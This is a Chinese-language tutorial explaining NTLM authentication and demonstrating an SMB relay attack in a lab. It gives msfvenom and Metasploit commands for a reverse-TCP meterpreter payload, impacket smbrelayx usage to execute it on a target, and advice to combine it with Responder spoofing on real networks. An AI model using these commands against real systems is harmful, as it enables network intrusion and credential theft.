smb重放攻击 [smb中间人]



0x01 在演示smb重放攻击之前,我们还是需要先搞清楚ntlm的基本认证过程,因为smb登录基于这个,正常情况下,ntlm的简要认证详细流程如下:

ntlm认证过程

1
client端 <-----> server端

1
2
3
4
5
6
7
1,正常情况,当client端登陆时需要先输入username,password和domain[默认是.,表示本地],之后client端会自己计算出password用DES加密后的hash,并将此hash暂时保存在本地
2,接着,client端会将自己的username明文发送给DC[server]
3,此时,DC会生成一组8字节的随机数,也叫challenge[挑战码],返回给client端
4,当client端在收到这个挑战码以后,会把先把它拷贝一份出来,然后再拿着这个挑战码和之前已经加密的密码hash再进行一次加密,加密后的东西叫response[响应],最后再将challenge,response和username一并发送给server端
5,server端在接收到client端传过来的这个三个值以后会将它们分别都转发给DC
6,DC在接收到username,response,challenge以后,会根据传过来的username,到自己的账号数据库中去查出来这个username所对应的hash,然后,再拿着这个hash和刚刚传过来的challenge再进行一次加密
7,最后,就剩比对了,把客户端传过来的response和在[6]中最后加密的hash值进行对比,如果一致,ok,认证通过,登录成功,反之,则登录失败

0x02 下面,我们就来简单再现一下smb的整个重放攻击过程:

1
client端 <-----> 攻击者 <-----> server端

和上面的拓扑基本一致,只不过在此时,在client端和server端中间多了个攻击者,但双方在整个通信过程中都并不知道攻击者的存在,此时,我们本来正常的认证过程就变成了下面的样子:
重放过程

1
2
3
4
5
6
1,client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者
2,然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge
3,攻击者拿到这个challenge以后再把它返回给client端
4,而client端拿到challenge在本地和自己的password DES加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端
5,最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证
7,server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了

0x03 接着就来简单模拟下如何利用这种一攻击手法:

1
2
3
4
首先,准备好三台机器,且在同一内网中,且已确保它们之间的通信没有任何问题
受害者机器[win2008R2 en] ip: 192.168.3.125
攻击者机器[ubuntu 16.04 LTS en] ip: 192.168.3.136
第三方机器[win2008R2 cn] ip: 192.168.3.23

我们最终要达成的目的,如下:

1
通过smb重放攻击,获取目标机器(192.168.3.125)的meterpreter

在攻击者的机器上准备好下面的东西,生成并监听我们的马,下载安装impacket:

1
2
3
4
5
6
7
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.136 LPORT=1234 -f exe -o /home/tools/shell.exe
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 1234
msf > set lhost 192.168.3.136
msf > exploit -j

1
2
3
4
5
6
7
8
9
10
# pip install pycrypto 安装依赖的加密库
# apt-get --reinstall install python-pyasn1 python-pyasn1-modules
# git clone https://github.com/CoreSecurity/impacket.git
# chmod -R 755 impacket
# cd impacket/
# python setup.py install
# cd examples/
# python smbrelayx.py -h
-h 指定要攻击的机器
-e 当认证成功以后,指定要执行的文件,一般都是我们事先准备好的马

在第三方机器上执行如下命令,向攻击者传送smb流量,注意,我这里的账号密码其实就是192.168.3.125正确的系统账号密码:

1
# net use \\192.168.3.136\c$ "lala!@#45" /user:"administrator"

往攻击机上执行net use

此时,当我们再回到攻击机上时就可以看到,当别人net use到攻击机上时,攻击者很轻易就捕捉到了smb 的登录凭证hash,然后,它又接着拿着这个hash到192.168.3.125[也就是我们的目标机器]去尝试登录,其实这就是所谓的重放,一旦登录成功,就会自动执行我们的马[类似我们用wmic远程执行代码]

1
# python smbrelayx.py -h 192.168.3.125 -e /home/tools/shell.exe

重放过程

可以看到,当我们重放登录成功,文件就会被正常执行,meterpreter亦被正常弹回


我们现在可以再试下,如果此时net use的密码不对,又会出现什么样的状况,很显然,下面的结果已经说的很清楚了,尝试在192.168.3.125上重放时失败了,原因也已经很清楚了,密码不对,马自然也就执行不了,因为根本没法wmic

1
net use \\192.168.3.136\c$ "a!@#45" /user:"administrator"



过程中需要注意的一些点:
    你可能一直在疑惑的是,受害者怎么会自己傻到net use到攻击者的机器上呢,没错,正常情况下肯定不会,如果想让同内网下别的机器上的流量流过自己,无非就是通过欺骗,因为smbrelayx本身并没有带类似的功能,所以,它并不能自动抓取内网中的所有smb流量,如果想让所有的流量都自动流过攻击者的机器,可能还需要配合Responder来一起实现,这里只是为了给大家看下攻击后的效果,所以,我的net use 就直接指向了攻击机,这样一来smb流量自然就能流过它[攻击机]了,当我们直接net use到攻击机时,其实我们的smb hash也会一并发送给它,然后脚本会拿着这个hash到目标机器上去认证,认证成功后即可执行我们的马,此时meterpreter正常弹回,如果认证失败,则不进行任何操作,注意,因为我这里只是测试,实际中你是几乎不可能指望别人直接net use到攻击机上的,还是那句话,这就需要你配合欺骗来一起利用,让所有的smb流量都经过你,然后抓取里面的登录凭证挨个到目标机器上去重放

小结:
    单从攻击的原理上来讲,其实非常简单,也并非什么新技术,类似的重放不仅仅适用于内网,web也同样适用,言辞比较粗糙,只是想把原理尽量跟大家说明白,既然已经有人帮我们实现了这样的脚本,我们就省的自己重复造轮子了,后期还会单独说明如何配合Responder全自动定向攻击特定内网机器,细心的朋友可能会发现,smb中间人,似乎跟,hash传递,票据窃取……都是非常类似的攻击手法,至于漏洞危害个人觉得还是比较大的,尤其是在windows内网中[比如域],因为它不是靠漏洞来攻击的,基于这个思路演变出来的攻击手法其实还有非常多,任何能产生smb登录的条件你甚至都可以利用,篇幅原因就先说到这里吧,个人理解可能比较有限,欢迎大家一起来深入讨论,始终坚信,抛砖才能引玉